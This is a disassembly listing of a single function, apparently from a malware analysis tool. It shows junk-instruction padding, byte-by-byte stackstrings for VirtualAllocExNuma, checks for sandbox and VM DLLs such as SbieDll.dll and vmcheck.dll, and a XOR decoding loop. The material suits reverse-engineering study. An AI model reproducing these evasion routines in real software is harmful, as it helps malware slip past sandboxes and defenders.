Function at 0x4047d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x8c
nop
test eax, eax
nop
nop
test eax, eax
nop
mov edi, dword [0x48ab3c]
mov byte [esp + 0xc], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovsd xmm0, qword [0x45a260]
vmovsd qword [esp], xmm0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 8], 0x6c6c642e
mov ecx, esp
call fcn.00403510
vmovups xmm0, xmmword [str.DisvveiGkdfiNtCbq]
vmovups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x2f], 0x71627b
nop
test eax, eax
nop
nop
test eax, eax
nop
mov byte [esp + 0x20], 0x56
nop
test eax, eax
nop
nop
test eax, eax
nop
mov byte [esp + 0x22], 0x72
nop
test eax, eax
nop
mov byte [esp + 0x23], 0x74
nop
test eax, eax
nop
mov byte [esp + 0x24], 0x75
nop
test eax, eax
nop
mov byte [esp + 0x25], 0x61
nop
test eax, eax
nop
mov byte [esp + 0x26], 0x6c
nop
test eax, eax
nop
mov byte [esp + 0x27], 0x41
nop
test eax, eax
nop
mov byte [esp + 0x28], 0x6c
nop
test eax, eax
nop
mov byte [esp + 0x29], 0x6c
nop
test eax, eax
nop
mov byte [esp + 0x2a], 0x6f
nop
test eax, eax
nop
mov byte [esp + 0x2b], 0x63
nop
test eax, eax
nop
mov byte [esp + 0x2c], 0x45
nop
test eax, eax
nop
mov byte [esp + 0x2d], pe_nt_image_headers32
nop
test eax, eax
nop
mov byte [esp + 0x2e], 0x4e
nop
test eax, eax
nop
mov byte [esp + 0x2f], 0x75
nop
test eax, eax
nop
mov byte [esp + 0x30], 0x6d
nop
test eax, eax
nop
mov byte [esp + 0x31], 0x61
lea esi, [esp + 0x20]
push esi
push eax
call edi
mov dword [esp + 0x1c], eax
nop
test eax, eax
nop
nop
test eax, eax
nop
mov byte [esp + 0x10], 0x2d
mov byte [esp + 0x12], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov byte [esp + 0x11], 0x31
lea eax, [esp + 0x10]
push eax
call sub.msvcrt.dll_atoi
add esp, 4
mov ebx, eax
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 0x68], 0x303031
lea eax, [esp + 0x68]
push eax
call sub.msvcrt.dll_atoi
add esp, 4
mov ebp, eax
mov byte [esp + 0x24], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 0x20], 0x32393138
push esi
call sub.msvcrt.dll_atoi
add esp, 4
mov edi, eax
mov byte [esp + 4], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp], 0x36393034
mov eax, esp
push eax
call sub.msvcrt.dll_atoi
add esp, 4
mov esi, eax
or esi, edi
mov byte [esp + 0x74], 0x36
mov byte [esp + 0x76], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov byte [esp + 0x75], 0x34
lea edi, [esp + 0x74]
push edi
call sub.msvcrt.dll_atoi
add esp, 4
push 0
push eax
push esi
push ebp
push 0
push ebx
call dword [esp + 0x34]
test eax, eax
je 0x404c73
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovsd xmm0, qword [str.SbieDll.]
vmovsd qword [esp], xmm0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 8], 0x6c6c64
mov ecx, esp
call fcn.00403510
test eax, eax
jne 0x404bf8
mov byte [esp + 0x66], 0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovsd xmm0, qword [str.wpespy.d]
vmovsd qword [esp + 0x5c], xmm0
nop
test eax, eax
nop
mov byte [esp + 0x64], 0x6c
nop
test eax, eax
nop
mov byte [esp + 0x65], 0x6c
lea ecx, [esp + 0x5c]
call fcn.00403510
test eax, eax
jne 0x404bf8
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovsd xmm0, qword [str.pstorec.]
vmovsd qword [esp + 0x68], xmm0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 0x70], 0x6c6c64
lea ecx, [esp + 0x68]
call fcn.00403510
test eax, eax
jne 0x404bf8
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovsd xmm0, qword [str.wmcheck.]
vmovsd qword [esp + 0x10], xmm0
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov dword [esp + 0x18], 0x6c6c64
lea ecx, [esp + 0x10]
call fcn.00403510
test eax, eax
jne 0x404bf8
push edi
call fcn.00404d10
add esp, 4
mov ecx, edi
call fcn.00403510
test eax, eax
jne 0x404bf8
lea esi, [esp + 0x80]
push esi
call fcn.00404d70
add esp, 4
mov ecx, esi
call fcn.00403510
test eax, eax
jne 0x404bf8
lea esi, [esp + 0x20]
mov ecx, esi
call fcn.00408ea0
mov ecx, esi
call fcn.00403510
test eax, eax
je 0x404cfe
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovups ymm0, ymmword [0x4802a0]
vmovups ymmword [esp + 0x3c], ymm0
vmovups ymm0, ymmword [str.Ynwq_v]
vmovups ymmword [esp + 0x20], ymm0
nop
test eax, eax
nop
xor eax, eax
nop dword [eax + eax]
nop
test eax, eax
nop
xor byte [esp + eax + 0x20], al
inc eax
cmp eax, 0x3b
jne 0x404c50
nop
test eax, eax
nop
vzeroupper
call fcn.00403a20
nop
test eax, eax
nop
jmp 0x404cf1
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
vmovups ymm0, ymmword [0x4802a0]
vmovups ymmword [esp + 0x3c], ymm0
vmovups ymm0, ymmword [str.Ynwq_v]
vmovups ymmword [esp + 0x20], ymm0
nop
test eax, eax
nop
xor eax, eax
nop word cs:[eax + eax]
nop
test eax, eax
nop
xor byte [esp + eax + 0x20], al
inc eax
cmp eax, 0x3b
jne 0x404cd0
nop
test eax, eax
nop
vzeroupper
call fcn.00403a20
nop
test eax, eax
nop
xor eax, eax
add esp, 0x8c
pop esi
pop edi
pop ebx
pop ebp
ret
mov al, 1
jmp 0x404cf3